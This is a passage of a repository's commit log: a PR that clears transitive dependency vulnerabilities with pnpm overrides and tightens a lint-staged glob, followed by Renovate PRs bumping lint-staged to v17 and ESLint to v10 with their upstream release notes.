Direct-dep updates from Renovate could not clear the `scan` gate — 20 vulnerabilities (4 high + 13 moderate + 3 low) lived inside transitive chains pinned by upstream tooling:
- `nx > axios` (8× CVEs), `nx > yaml`, `nx > follow-redirects`
- `@nx/devkit > minimatch > brace-expansion`
- `nestjs-prisma > @angular-devkit/core > ajv`
- `@angular/cli > @modelcontextprotocol/sdk > express-rate-limit > ip-address`
- `@lhci/cli > tmp`
Patched versions exist upstream but the parents pin tighter ranges. Renovate cannot help here — `pnpm.overrides` with the **upper-bound** form (`pkg@<x.y.z`) is the right tool: it forces patched resolutions today and self-expires once a parent legitimately reaches the patched version (the override stops matching).
After overrides: `pnpm audit --audit-level=moderate` → **0 vulnerabilities**.
## Bonus fix
Lint-staged was running prettier on `pnpm-lock.yaml` because the glob `*.yaml` matched. Tightened the glob to `!(pnpm-lock).{...,yaml}` so the lockfile stays under pnpm's own formatting authority.
## Test plan
- [ ] `scan` job goes green on this PR.
- [ ] No regression on `check` (lint/test/build).
- [ ] On the next deps-bump commit (any future Renovate PR rebased), the local pre-commit hook does **not** reformat `pnpm-lock.yaml`.
## Out of scope (separate follow-up PRs)
While testing locally, two pre-existing regressions on `main` surfaced (introduced by recent Renovate major bumps that passed CI through `nx affected` reporting "nothing affected"):
- **TypeScript 6 (PR #33)** — `tsconfig.lib.json` → `TS5101: Option 'baseUrl' is deprecated` on every lib build.
- **ESLint 10 (PR #36)** — `@nx/eslint@22.7.1` plugin can't resolve eslint, project graph fails.
Both deserve their own investigation before we move on to phase-2 chantiers.
---------
Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #42
|
||
|
|
6545c3a176 |
chore(deps): update dependency lint-staged to v17 (#41)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | major | [`^16.4.0` -> `^17.0.0`](https://renovatebot.com/diffs/npm/lint-staged/16.4.0/17.0.2) | --- ### Release Notes <details> <summary>lint-staged/lint-staged (lint-staged)</summary> ### [`v17.0.2`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1702) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.1...v17.0.2) ##### Patch Changes - [#​1779](https://github.com/lint-staged/lint-staged/pull/1779) [`88670ca`](https://github.com/lint-staged/lint-staged/commit/88670ca2278200f6348ed663358895ddc4bfff3c) Thanks [@​iiroj](https://github.com/iiroj)! - Enable immutable GitHub releases ### [`v17.0.1`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1701) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.0...v17.0.1) ##### Patch Changes - [#​1776](https://github.com/lint-staged/lint-staged/pull/1776) [`4a5664b`](https://github.com/lint-staged/lint-staged/commit/4a5664be63af19590ec37940f705dad870ac5cfb) Thanks [@​iiroj](https://github.com/iiroj)! - Adjust GitHub Actions workflow so that automatic publishing works with signed commits. ### [`v17.0.0`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1700) [Compare Source](https://github.com/lint-staged/lint-staged/compare/v16.4.0...v17.0.0) ##### Major Changes - [#​1745](https://github.com/lint-staged/lint-staged/pull/1745) [`e244adf`](https://github.com/lint-staged/lint-staged/commit/e244adfab430be95803e74b20acf518517054c9f) Thanks [@​iiroj](https://github.com/iiroj)! - **Node.js v20 is no longer supported, and the oldest supported version is now `22.22.1`**, which is an active LTS version at the time of this release. Node.js 20 will be EOL after April 2026. Please upgrade your Node.js version! - [#​1676](https://github.com/lint-staged/lint-staged/pull/1676) [`0584e0b`](https://github.com/lint-staged/lint-staged/commit/0584e0b8824a07ea4d0151f2c17fc37c4905a421) Thanks [@​outslept](https://github.com/outslept)! - *Lint-staged* now tries to verify the installed Git version is at least `2.32.0`, released in 2021. If you're using an even older Git version, you need to [upgrade](https://git-scm.com/install/mac) it before running *lint-staged*! - [#​1745](https://github.com/lint-staged/lint-staged/pull/1745) [`2dcc40a`](https://github.com/lint-staged/lint-staged/commit/2dcc40a1a98aea20d38f76031ac30b278f81682a) Thanks [@​iiroj](https://github.com/iiroj)! - The dependency `yaml` is now marked as optional and probably won't be installed by default. If you're using a YAML configuration file you should install the package separately: ```shell npm install --development yaml ``` If you're using `.lintstagedrc` as the config file name (without a file extension), it will be treated as a YAML file. If the content is JSON, consider renaming it to `.lintstagedrc.json` to avoid needing to install `yaml`. ##### Minor Changes - [#​1748](https://github.com/lint-staged/lint-staged/pull/1748) [`809d5ef`](https://github.com/lint-staged/lint-staged/commit/809d5ef0a66edb2b26b233d33ce8e14af6c978e7) Thanks [@​iiroj](https://github.com/iiroj)! - Add new option `--hide-all` for hiding all unstaged changes and untracked files, before running tasks. This makes it easier to run tools like [Knip](https://knip.dev) which check for unused code. Untracked files are included in the backup stash and restored automatically after running. - [#​1759](https://github.com/lint-staged/lint-staged/pull/1759) [`f13045a`](https://github.com/lint-staged/lint-staged/commit/f13045a5eae28c3233fc37146b0e1f51739c254b) Thanks [@​iiroj](https://github.com/iiroj)! - Update dependencies, including [`tinyexec@1.1.1`](https://github.com/tinylibs/tinyexec/releases/tag/1.1.1) to fix the following issues: - When using a Node.js version manager with multiple versions installed ([nvm](https://github.com/nvm-sh/nvm), [n](https://github.com/tj/n), for example), scripts with the `#!/usr/bin/env node` shebang ([Prettier](https://github.com/prettier/prettier), [ESLint](https://github.com/eslint/eslint), for example) were previously spawned using the default Node.js version configured by the version manager (the one `which node` points to) on POSIX systems. Now, they will be spawned with the same version that *lint-staged* itself was started with. - For example, if your default Node.js version is 24.14.1 but *lint-staged* is run with the latest version 25.9.0, the tasks spawned by *lint-staged* will now also use version 25.9.0. Previously they were spawned using 24.14.1. - When installing Node.js from the Ubuntu App Center ([Snap store](https://snapcraft.io/store)), the `node` executable available in `PATH` is a symlink pointing to Snap itself. The sandboxing features of Snap prevented *lint-staged* from spawning scripts with the `#!/usr/bin/env node` shebang, because it meant *lint-staged* tried to spawn Snap via the symlink. This resulted in an `ENOENT` error when trying to run `prettier`, for example. Now, since the real `node` executable's directory is available in the `PATH`, *lint-staged* will instead spawn the script with the real `node` binary succesfully. - [#​1761](https://github.com/lint-staged/lint-staged/pull/1761) [`d3251b1`](https://github.com/lint-staged/lint-staged/commit/d3251b192d7116f059e7cabeffa3bfd7788dedeb) Thanks [@​iiroj](https://github.com/iiroj)! - *Lint-staged* now runs `git update-index --again` after running tasks, instead of `git add <originally staged files>`. This should improve compatibility when using non-default indexes, for example when committing with a pathspec `git commit -m "message" .` instead of adding files to the index. - [#​1745](https://github.com/lint-staged/lint-staged/pull/1745) [`a9585ac`](https://github.com/lint-staged/lint-staged/commit/a9585ac7ce0162c5c6c9aa88a28c11c812abedaf) Thanks [@​iiroj](https://github.com/iiroj)! - Remove `commander` as a dependency and use the built-in `parseArgs` from `node:util` to parse CLI flags. ##### Patch Changes - [#​1755](https://github.com/lint-staged/lint-staged/pull/1755) [`c82d30b`](https://github.com/lint-staged/lint-staged/commit/c82d30bda8c80f886bdfead2e7aa123f7337aa76) Thanks [@​iiroj](https://github.com/iiroj)! - All tests now pass on the [Bun](https://bun.com) runtime (latest). - [#​1750](https://github.com/lint-staged/lint-staged/pull/1750) [`a401818`](https://github.com/lint-staged/lint-staged/commit/a4018185016617b02e4473d14e036a5f1a9b3f85) Thanks [@​iiroj](https://github.com/iiroj)! - Remove manual handling for `git stash --keep-index` resurrecting deleted files, because the issue was fixed in Git `2.23.0` and *lint-staged* requires at least Git `2.32.0`. - [#​1771](https://github.com/lint-staged/lint-staged/pull/1771) [`c4b8936`](https://github.com/lint-staged/lint-staged/commit/c4b893665bf39670650ae71b4ec2073025e9984e) Thanks [@​iiroj](https://github.com/iiroj)! - Fix documentation about multiple config files and the `--cwd` option. When using it, all tasks will be run in the specified directory. For example, to run everything in the actual `process.cwd()`, use `lint-staged --cwd="."`. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #41 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
68a819d88a |
chore(deps): update eslint (major) (#36)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [@eslint/js](https://eslint.org) ([source](https://github.com/eslint/eslint/tree/HEAD/packages/js)) | devDependencies | major | [`^9.8.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/@eslint%2fjs/9.39.4/10.0.1) | | [eslint](https://eslint.org) ([source](https://github.com/eslint/eslint)) | devDependencies | major | [`^9.8.0` -> `^10.0.0`](https://renovatebot.com/diffs/npm/eslint/9.39.4/10.3.0) | | [eslint-plugin-playwright](https://github.com/mskelton/eslint-plugin-playwright) | devDependencies | major | [`^1.6.2` -> `^2.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-playwright/1.8.3/2.10.2) | --- ### Release Notes <details> <summary>eslint/eslint (@​eslint/js)</summary> ### [`v10.0.1`](https://github.com/eslint/eslint/releases/tag/v10.0.1) [Compare Source](https://github.com/eslint/eslint/compare/v10.0.0...v10.0.1) ##### Bug Fixes - [`c87d5bd`](https://github.com/eslint/eslint/commit/c87d5bded54c5cf491eb04c24c9d09bbbd42c23e) fix: update eslint ([#​20531](https://github.com/eslint/eslint/issues/20531)) (renovate\[bot]) - [`d841001`](https://github.com/eslint/eslint/commit/d84100115c14691691058f00779c94e74fca946a) fix: update `minimatch` to `10.2.1` to address security vulnerabilities ([#​20519](https://github.com/eslint/eslint/issues/20519)) (루밀LuMir) - [`04c2147`](https://github.com/eslint/eslint/commit/04c21475b3004904948f02049f2888b401d82c78) fix: update error message for unused suppressions ([#​20496](https://github.com/eslint/eslint/issues/20496)) (fnx) - [`38b089c`](https://github.com/eslint/eslint/commit/38b089c1726feac0e31a31d47941bd99e29ce003) fix: update dependency [@​eslint/config-array](https://github.com/eslint/config-array) to ^0.23.1 ([#​20484](https://github.com/eslint/eslint/issues/20484)) (renovate\[bot]) ##### Documentation - [`5b3dbce`](https://github.com/eslint/eslint/commit/5b3dbce50a1404a9f118afe810cefeee79388a2a) docs: add AI acknowledgement section to templates ([#​20431](https://github.com/eslint/eslint/issues/20431)) (루밀LuMir) - [`6f23076`](https://github.com/eslint/eslint/commit/6f23076037d5879f20fb3be2ef094293b1e8d38c) docs: toggle nav in no-JS mode ([#​20476](https://github.com/eslint/eslint/issues/20476)) (Tanuj Kanti) - [`b69cfb3`](https://github.com/eslint/eslint/commit/b69cfb32a16c5d5e9986390d484fae1d21e406f9) docs: Update README (GitHub Actions Bot) ##### Chores - [`e5c281f`](https://github.com/eslint/eslint/commit/e5c281ffd038a3a7a3e5364db0b9378e0ad83020) chore: updates for v9.39.3 release (Jenkins) - [`8c3832a`](https://github.com/eslint/eslint/commit/8c3832adb77cd993b4a24891900d5eeaaf093cdc) chore: update [@​typescript-eslint/parser](https://github.com/typescript-eslint/parser) to ^8.56.0 ([#​20514](https://github.com/eslint/eslint/issues/20514)) (Milos Djermanovic) - [`8330d23`](https://github.com/eslint/eslint/commit/8330d238ae6adb68bb6a1c9381e38cfedd990d94) test: add tests for config-api ([#​20493](https://github.com/eslint/eslint/issues/20493)) (Milos Djermanovic) - [`37d6e91`](https://github.com/eslint/eslint/commit/37d6e91e88fa6a2ca6d8726679096acff21ba6cc) chore: remove eslint v10 prereleases from eslint-config-eslint deps ([#​20494](https://github.com/eslint/eslint/issues/20494)) (Milos Djermanovic) - [`da7cd0e`](https://github.com/eslint/eslint/commit/da7cd0e79197ad16e17052eef99df141de6dbfb1) refactor: cleanup error message templates ([#​20479](https://github.com/eslint/eslint/issues/20479)) (Francesco Trotta) - [`84fb885`](https://github.com/eslint/eslint/commit/84fb885d49ac810e79a9491276b4828b53d913e5) chore: package.json update for [@​eslint/js](https://github.com/eslint/js) release (Jenkins) - [`1f66734`](https://github.com/eslint/eslint/commit/1f667344b57c4c09b548d94bcfac1f91b6e5c63d) chore: add `eslint` to `peerDependencies` of `@eslint/js` ([#​20467](https://github.com/eslint/eslint/issues/20467)) (Milos Djermanovic) ### [`v10.0.0`](https://github.com/eslint/eslint/releases/tag/v10.0.0) [Compare Source](https://github.com/eslint/eslint/compare/v9.39.4...v10.0.0) ##### Breaking Changes - [`f9e54f4`](https://github.com/eslint/eslint/commit/f9e54f43a5e497cdfa179338b431093245cb787b) feat!: estimate rule-tester failure location ([#​20420](https://github.com/eslint/eslint/issues/20420)) (ST-DDT) - [`a176319`](https://github.com/eslint/eslint/commit/a176319d8ade1a7d9b2d7fb8f038f55a2662325f) feat!: replace `chalk` with `styleText` and add `color` to `ResultsMeta` ([#​20227](https://github.com/eslint/eslint/issues/20227)) (루밀LuMir) - [`c7046e6`](https://github.com/eslint/eslint/commit/c7046e6c1e03c4ca0eee4888a1f2eba4c6454f84) feat!: enable JSX reference tracking ([#​20152](https://github.com/eslint/eslint/issues/20152)) (Pixel998) - [`fa31a60`](https://github.com/eslint/eslint/commit/fa31a608901684fbcd9906d1907e66561d16e5aa) feat!: add `name` to configs ([#​20015](https://github.com/eslint/eslint/issues/20015)) (Kirk Waiblinger) - [`3383e7e`](https://github.com/eslint/eslint/commit/3383e7ec9028166cafc8ea7986c2f7498d0049f0) fix!: remove deprecated `SourceCode` methods ([#​20137](https://github.com/eslint/eslint/issues/20137)) (Pixel998) - [`501abd0`](https://github.com/eslint/eslint/commit/501abd0e916a35554c58b7c0365537f1fa3880ce) feat!: update dependency minimatch to v10 ([#​20246](https://github.com/eslint/eslint/issues/20246)) (renovate\[bot]) - [`ca4d3b4`](https://github.com/eslint/eslint/commit/ca4d3b40085de47561f89656a2207d09946ed45e) fix!: stricter rule tester assertions for valid test cases ([#​20125](https://github.com/eslint/eslint/issues/20125)) (唯然) - [`96512a6`](https://github.com/eslint/eslint/commit/96512a66c86402fb0538cdcb6cd30b9073f6bf3b) fix!: Remove deprecated rule context methods ([#​20086](https://github.com/eslint/eslint/issues/20086)) (Nicholas C. Zakas) - [`c69fdac`](https://github.com/eslint/eslint/commit/c69fdacdb2e886b9d965568a397aa8220db3fe90) feat!: remove eslintrc support ([#​20037](https://github.com/eslint/eslint/issues/20037)) (Francesco Trotta) - [`208b5cc`](https://github.com/eslint/eslint/commit/208b5cc34a8374ff81412b5bec2e0800eebfbd04) feat!: Use `ScopeManager#addGlobals()` ([#​20132](https://github.com/eslint/eslint/issues/20132)) (Milos Djermanovic) - [`a2ee188`](https://github.com/eslint/eslint/commit/a2ee188ea7a38a0c6155f3d39e2b00e1d0f36e14) fix!: add `uniqueItems: true` in `no-invalid-regexp` option ([#​20155](https://github.com/eslint/eslint/issues/20155)) (Tanuj Kanti) - [`a89059d`](https://github.com/eslint/eslint/commit/a89059dbf2832d417dd493ee81483227ec44e4ab) feat!: Program range span entire source text ([#​20133](https://github.com/eslint/eslint/issues/20133)) (Pixel998) - [`39a6424`](https://github.com/eslint/eslint/commit/39a6424373d915fa9de0d7b0caba9a4dc3da9b53) fix!: assert 'text' is a string across all RuleFixer methods ([#​20082](https://github.com/eslint/eslint/issues/20082)) (Pixel998) - [`f28fbf8`](https://github.com/eslint/eslint/commit/f28fbf846244e043c92b355b224d121b06140b44) fix!: Deprecate `"always"` and `"as-needed"` options of the `radix` rule ([#​20223](https://github.com/eslint/eslint/issues/20223)) (Milos Djermanovic) - [`aa3fb2b`](https://github.com/eslint/eslint/commit/aa3fb2b233e929b37220be940575f42c280e0b98) fix!: tighten `func-names` schema ([#​20119](https://github.com/eslint/eslint/issues/20119)) (Pixel998) - [`f6c0ed0`](https://github.com/eslint/eslint/commit/f6c0ed0311dcfee853367d5068c765d066e6b756) feat!: report `eslint-env` comments as errors ([#​20128](https://github.com/eslint/eslint/issues/20128)) (Francesco Trotta) - [`4bf739f`](https://github.com/eslint/eslint/commit/4bf739fb533e59f7f0a66b65f7bc80be0f37d8db) fix!: remove deprecated `LintMessage#nodeType` and `TestCaseError#type` ([#​20096](https://github.com/eslint/eslint/issues/20096)) (Pixel998) - [`523c076`](https://github.com/eslint/eslint/commit/523c076866400670fb2192a3f55dbf7ad3469247) feat!: drop support for jiti < 2.2.0 ([#​20016](https://github.com/eslint/eslint/issues/20016)) (michael faith) - [`454a292`](https://github.com/eslint/eslint/commit/454a292c95f34dad232411ddac06408e6383bb64) feat!: update `eslint:recommended` configuration ([#​20210](https://github.com/eslint/eslint/issues/20210)) (Pixel998) - [`4f880ee`](https://github.com/eslint/eslint/commit/4f880ee02992e1bf0e96ebaba679985e2d1295f1) feat!: remove `v10_*` and inactive `unstable_*` flags ([#​20225](https://github.com/eslint/eslint/issues/20225)) (sethamus) - [`f18115c`](https://github.com/eslint/eslint/commit/f18115c363a4ac7671a4c7f30ee13d57ebba330f) feat!: `no-shadow-restricted-names` report `globalThis` by default ([#​20027](https://github.com/eslint/eslint/issues/20027)) (sethamus) - [`c6358c3`](https://github.com/eslint/eslint/commit/c6358c31fbd3937b92d89be2618ffdf5a774604e) feat!: Require Node.js `^20.19.0 || ^22.13.0 || >=24` ([#​20160](https://github.com/eslint/eslint/issues/20160)) (Milos Djermanovic) ##### Features - [`bff9091`](https://github.com/eslint/eslint/commit/bff9091927811497dbf066b0e3b85ecb37d43822) feat: handle `Array.fromAsync` in `array-callback-return` ([#​20457](https://github.com/eslint/eslint/issues/20457)) (Francesco Trotta) - [`290c594`](https://github.com/eslint/eslint/commit/290c594bb50c439fb71bc75521ee5360daa8c222) feat: add `self` to `no-implied-eval` rule ([#​20468](https://github.com/eslint/eslint/issues/20468)) (sethamus) - [`43677de`](https://github.com/eslint/eslint/commit/43677de07ebd6e14bfac40a46ad749ba783c45f2) feat: fix handling of function and class expression names in `no-shadow` ([#​20432](https://github.com/eslint/eslint/issues/20432)) (Milos Djermanovic) - [`f0cafe5`](https://github.com/eslint/eslint/commit/f0cafe5f37e7765e9d8c2751b5f5d33107687009) feat: rule tester add assertion option `requireData` ([#​20409](https://github.com/eslint/eslint/issues/20409)) (fnx) - [`f7ab693`](https://github.com/eslint/eslint/commit/f7ab6937e63bc618d326710858f5861a68f80616) feat: output RuleTester test case failure index ([#​19976](https://github.com/eslint/eslint/issues/19976)) (ST-DDT) - [`7cbcbf9`](https://github.com/eslint/eslint/commit/7cbcbf9c3c2008deee7d143ae35e668e8ffbccb3) feat: add `countThis` option to `max-params` ([#​20236](https://github.com/eslint/eslint/issues/20236)) (Gerkin) - [`f148a5e`](https://github.com/eslint/eslint/commit/f148a5eaa1e89dd80ade62f0a690186b00b9f6e1) feat: add error assertion options ([#​20247](https://github.com/eslint/eslint/issues/20247)) (ST-DDT) - [`09e6654`](https://github.com/eslint/eslint/commit/09e66549ecada6dcb8c567a60faf044fce049188) feat: update error loc of `require-yield` and `no-useless-constructor` ([#​20267](https://github.com/eslint/eslint/issues/20267)) (Tanuj Kanti) ##### Bug Fixes - [`436b82f`](https://github.com/eslint/eslint/commit/436b82f3c0a8cfa2fdc17d173e95ea11d5d3ee03) fix: update eslint ([#​20473](https://github.com/eslint/eslint/issues/20473)) (renovate\[bot]) - [`1d29d22`](https://github.com/eslint/eslint/commit/1d29d22fe302443cec2a11da0816397f94af97ec) fix: detect default `this` binding in `Array.fromAsync` callbacks ([#​20456](https://github.com/eslint/eslint/issues/20456)) (Francesco Trotta) - [`727451e`](https://github.com/eslint/eslint/commit/727451eff55b35d853e0e443d0de58f4550762bf) fix: fix regression of global mode report range in `strict` rule ([#​20462](https://github.com/eslint/eslint/issues/20462)) (ntnyq) - [`e80485f`](https://github.com/eslint/eslint/commit/e80485fcd27196fa0b6f6b5c7ac8cf49ad4b079d) fix: remove fake `FlatESLint` and `LegacyESLint` exports ([#​20460](https://github.com/eslint/eslint/issues/20460)) (Francesco Trotta) - [`9eeff3b`](https://github.com/eslint/eslint/commit/9eeff3bc13813a786b8a4c3815def97c0fb646ef) fix: update esquery ([#​20423](https://github.com/eslint/eslint/issues/20423)) (cryptnix) - [`b34b938`](https://github.com/eslint/eslint/commit/b34b93852d014ebbcf3538d892b55e0216cdf681) fix: use `Error.prepareStackTrace` to estimate failing test location ([#​20436](https://github.com/eslint/eslint/issues/20436)) (Francesco Trotta) - [`51aab53`](https://github.com/eslint/eslint/commit/51aab5393b058f7cbed69041a9069b2bd106aabd) fix: update eslint ([#​20443](https://github.com/eslint/eslint/issues/20443)) (renovate\[bot]) - [`23490b2`](https://github.com/eslint/eslint/commit/23490b266276792896a0b7b43c49a1ce87bf8568) fix: handle space before colon in `RuleTester` location estimation ([#​20433](https://github.com/eslint/eslint/issues/20433)) (Francesco Trotta) - [`f244dbf`](https://github.com/eslint/eslint/commit/f244dbf2191267a4cafd08645243624baf3e8c83) fix: use `MessagePlaceholderData` type from `@eslint/core` ([#​20348](https://github.com/eslint/eslint/issues/20348)) (루밀LuMir) - [`d186f8c`](https://github.com/eslint/eslint/commit/d186f8c0747f14890e86a5a39708b052b391ddaf) fix: update eslint ([#​20427](https://github.com/eslint/eslint/issues/20427)) (renovate\[bot]) - [`2332262`](https://github.com/eslint/eslint/commit/2332262deb4ef3188b210595896bb0ff552a7e66) fix: error location should not modify error message in RuleTester ([#​20421](https://github.com/eslint/eslint/issues/20421)) (Milos Djermanovic) - [`ab99b21`](https://github.com/eslint/eslint/commit/ab99b21a6715dee1035d8f4e6d6841853eb5563f) fix: ensure `filename` is passed as third argument to `verifyAndFix()` ([#​20405](https://github.com/eslint/eslint/issues/20405)) (루밀LuMir) - [`8a60f3b`](https://github.com/eslint/eslint/commit/8a60f3bc80ad96c65feeb29886342623c630199c) fix: remove `ecmaVersion` and `sourceType` from `ParserOptions` type ([#​20415](https://github.com/eslint/eslint/issues/20415)) (Pixel998) - [`eafd727`](https://github.com/eslint/eslint/commit/eafd727a060131f7fc79b2eb5698d8d27683c3a2) fix: remove `TDZ` scope type ([#​20231](https://github.com/eslint/eslint/issues/20231)) (jaymarvelz) - [`39d1f51`](https://github.com/eslint/eslint/commit/39d1f51680d4fbade16b4d9c07ad61a87ee3b1ea) fix: correct `Scope` typings ([#​20404](https://github.com/eslint/eslint/issues/20404)) (sethamus) - [`2bd0f13`](https://github.com/eslint/eslint/commit/2bd0f13a92fb373827f16210aa4748d4885fddb1) fix: update `verify` and `verifyAndFix` types ([#​20384](https://github.com/eslint/eslint/issues/20384)) (Francesco Trotta) - [`ba6ebfa`](https://github.com/eslint/eslint/commit/ba6ebfa78de0b8522cea5ee80179887e92c6c935) fix: correct typings for `loadESLint()` and `shouldUseFlatConfig()` ([#​20393](https://github.com/eslint/eslint/issues/20393)) (루밀LuMir) - [`e7673ae`](https://github.com/eslint/eslint/commit/e7673ae096900330599680efe91f8a199a5c2e59) fix: correct RuleTester typings ([#​20105](https://github.com/eslint/eslint/issues/20105)) (Pixel998) - [`53e9522`](https://github.com/eslint/eslint/commit/53e95222af8561a8eed282fa9fd44b2f320a3c37) fix: strict removed formatters check ([#​20241](https://github.com/eslint/eslint/issues/20241)) (ntnyq) - [`b017f09`](https://github.com/eslint/eslint/commit/b017f094d4e53728f8d335b9cf8b16dc074afda3) fix: correct `no-restricted-import` messages ([#​20374](https://github.com/eslint/eslint/issues/20374)) (Francesco Trotta) ##### Documentation - [`e978dda`](https://github.com/eslint/eslint/commit/e978ddaab7e6a3c38b4a2afa721148a6ef38f29a) docs: Update README (GitHub Actions Bot) - [`4cecf83`](https://github.com/eslint/eslint/commit/4cecf8393ae9af18c4cfd50621115eb23b3d0cb6) docs: Update README (GitHub Actions Bot) - [`c79f0ab`](https://github.com/eslint/eslint/commit/c79f0ab2e2d242a93b08ff2f6a0712e2ef60b7b8) docs: Update README (GitHub Actions Bot) - [`773c052`](https://github.com/eslint/eslint/commit/773c0527c72c09fb5e63c2036b5cb9783f1f04d3) docs: Update README (GitHub Actions Bot) - [`f2962e4`](https://github.com/eslint/eslint/commit/f2962e46a0e8ee8e04d76e9d899f6a7c73a646f1) docs: document `meta.docs.frozen` property ([#​20475](https://github.com/eslint/eslint/issues/20475)) (Pixel998) - [`8e94f58`](https://github.com/eslint/eslint/commit/8e94f58bebfd854eed814a39e19dea4e3c3ee4a3) docs: fix broken anchor links from gerund heading updates ([#​20449](https://github.com/eslint/eslint/issues/20449)) (Copilot) - [`1495654`](https://github.com/eslint/eslint/commit/14956543d42ab542f72820f38941d0bcc39a1fbb) docs: Update README (GitHub Actions Bot) - [`0b8ed5c`](https://github.com/eslint/eslint/commit/0b8ed5c0aa4222a9b6b185c605cfedaef4662dcb) docs: document support for `:is` selector alias ([#​20454](https://github.com/eslint/eslint/issues/20454)) (sethamus) - [`1c4b33f`](https://github.com/eslint/eslint/commit/1c4b33fe8620dcaafbe6e8f4e9515b624476548c) docs: Document policies about ESM-only dependencies ([#​20448](https://github.com/eslint/eslint/issues/20448)) (Milos Djermanovic) - [`3e5d38c`](https://github.com/eslint/eslint/commit/3e5d38cdd5712bef50d440585b0f6669a2e9a9b9) docs: add missing indentation space in rule example ([#​20446](https://github.com/eslint/eslint/issues/20446)) (fnx) - [`63a0c7c`](https://github.com/eslint/eslint/commit/63a0c7c84bf5b12357893ea2bf0482aa3c855bac) docs: Update README (GitHub Actions Bot) - [`65ed0c9`](https://github.com/eslint/eslint/commit/65ed0c94e7cd1e3f882956113228311d8c7b3463) docs: Update README (GitHub Actions Bot) - [`b0e4717`](https://github.com/eslint/eslint/commit/b0e4717d6619ffd02913cf3633b44d8e6953d938) docs: \[no-await-in-loop] Expand inapplicability ([#​20363](https://github.com/eslint/eslint/issues/20363)) (Niklas Hambüchen) - [`fca421f`](https://github.com/eslint/eslint/commit/fca421f6a4eecd52f2a7ae5765bd9008f62f9994) docs: Update README (GitHub Actions Bot) - [`d925c54`](https://github.com/eslint/eslint/commit/d925c54f045b2230d3404e8aa18f4e2860a35e1d) docs: update config syntax in `no-lone-blocks` ([#​20413](https://github.com/eslint/eslint/issues/20413)) (Pixel998) - [`7d5c95f`](https://github.com/eslint/eslint/commit/7d5c95f281cb88868f4e09ca07fbbc6394d78c41) docs: remove redundant `sourceType: "module"` from rule examples ([#​20412](https://github.com/eslint/eslint/issues/20412)) (Pixel998) - [`02e7e71`](https://github.com/eslint/eslint/commit/02e7e7126366fc5eeffb713f865d80a759dc14b0) docs: correct `.mts` glob pattern in files with extensions example ([#​20403](https://github.com/eslint/eslint/issues/20403)) (Ali Essalihi) - [`264b981`](https://github.com/eslint/eslint/commit/264b981101a3cf0c12eba200ac64e5523186a89f) docs: Update README (GitHub Actions Bot) - [`5a4324f`](https://github.com/eslint/eslint/commit/5a4324f38e7ce370038351ef7412dcf8548c105e) docs: clarify `"local"` option of `no-unused-vars` ([#​20385](https://github.com/eslint/eslint/issues/20385)) (Milos Djermanovic) - [`e593aa0`](https://github.com/eslint/eslint/commit/e593aa0fd29f51edea787815ffc847aa723ef1f8) docs: improve clarity, grammar, and wording in documentation site README ([#​20370](https://github.com/eslint/eslint/issues/20370)) (Aditya) - [`3f5062e`](https://github.com/eslint/eslint/commit/3f5062ed5f27eb25414faced2478ae076906874e) docs: Add messages property to rule meta documentation ([#​20361](https://github.com/eslint/eslint/issues/20361)) (Sabya Sachi) - [`9e5a5c2`](https://github.com/eslint/eslint/commit/9e5a5c2b6b368cdacd678eabf36b441bd8bb726c) docs: remove `Examples` headings from rule docs ([#​20364](https://github.com/eslint/eslint/issues/20364)) (Milos Djermanovic) - [`194f488`](https://github.com/eslint/eslint/commit/194f488a8dc97850485afe704d2a64096582f96d) docs: Update README (GitHub Actions Bot) - [`0f5a94a`](https://github.com/eslint/eslint/commit/0f5a94a84beee19f376025c74f703f275d52c94b) docs: \[class-methods-use-this] explain purpose of rule ([#​20008](https://github.com/eslint/eslint/issues/20008)) (Kirk Waiblinger) - [`df5566f`](https://github.com/eslint/eslint/commit/df5566f826d9f5740546e473aa6876b1f7d2f12c) docs: add Options section to all rule docs ([#​20296](https://github.com/eslint/eslint/issues/20296)) (sethamus) - [`adf7a2b`](https://github.com/eslint/eslint/commit/adf7a2b202743a98edc454890574292dd2b34837) docs: no-unsafe-finally note for generator functions ([#​20330](https://github.com/eslint/eslint/issues/20330)) (Tom Pereira) - [`ef7028c`](https://github.com/eslint/eslint/commit/ef7028c9688dc931051a4217637eb971efcbd71b) docs: Update README (GitHub Actions Bot) - [`fbae5d1`](https://github.com/eslint/eslint/commit/fbae5d18854b30ea3b696672c7699cef3ec92140) docs: consistently use "v10.0.0" in migration guide ([#​20328](https://github.com/eslint/eslint/issues/20328)) (Pixel998) - [`778aa2d`](https://github.com/eslint/eslint/commit/778aa2d83e1ef1e2bd1577ee976c5a43472a3dbe) docs: ignoring default file patterns ([#​20312](https://github.com/eslint/eslint/issues/20312)) (Tanuj Kanti) - [`4b5dbcd`](https://github.com/eslint/eslint/commit/4b5dbcdae52c1c16293dc68028cab18ed2504841) docs: reorder v10 migration guide ([#​20315](https://github.com/eslint/eslint/issues/20315)) (Milos Djermanovic) - [`5d84a73`](https://github.com/eslint/eslint/commit/5d84a7371d01ead1b274600c055fe49150d487f1) docs: Update README (GitHub Actions Bot) - 